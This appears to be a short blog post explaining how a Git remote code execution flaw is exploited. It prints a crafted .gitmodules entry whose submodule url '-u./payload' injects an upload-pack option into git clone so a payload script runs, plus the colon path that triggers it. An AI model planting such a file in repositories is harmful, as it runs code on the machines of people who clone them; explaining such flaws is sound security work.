I’ve gotten a couple of questions about exploitation for the recent RCE in Git. So here we go with some technical details.
TL;DR
Here is a PoC repository.
Exploitation
The .gitmodules file looks as follows:
[submodule "x:x"]
path = x:x
url = -u./payload
The actual command being injected is set by the url, -u./payload
points the upload-pack flag of git clone to the payload shell
script. Note also the : within the path, this part is needed to
actually get the payload script executed.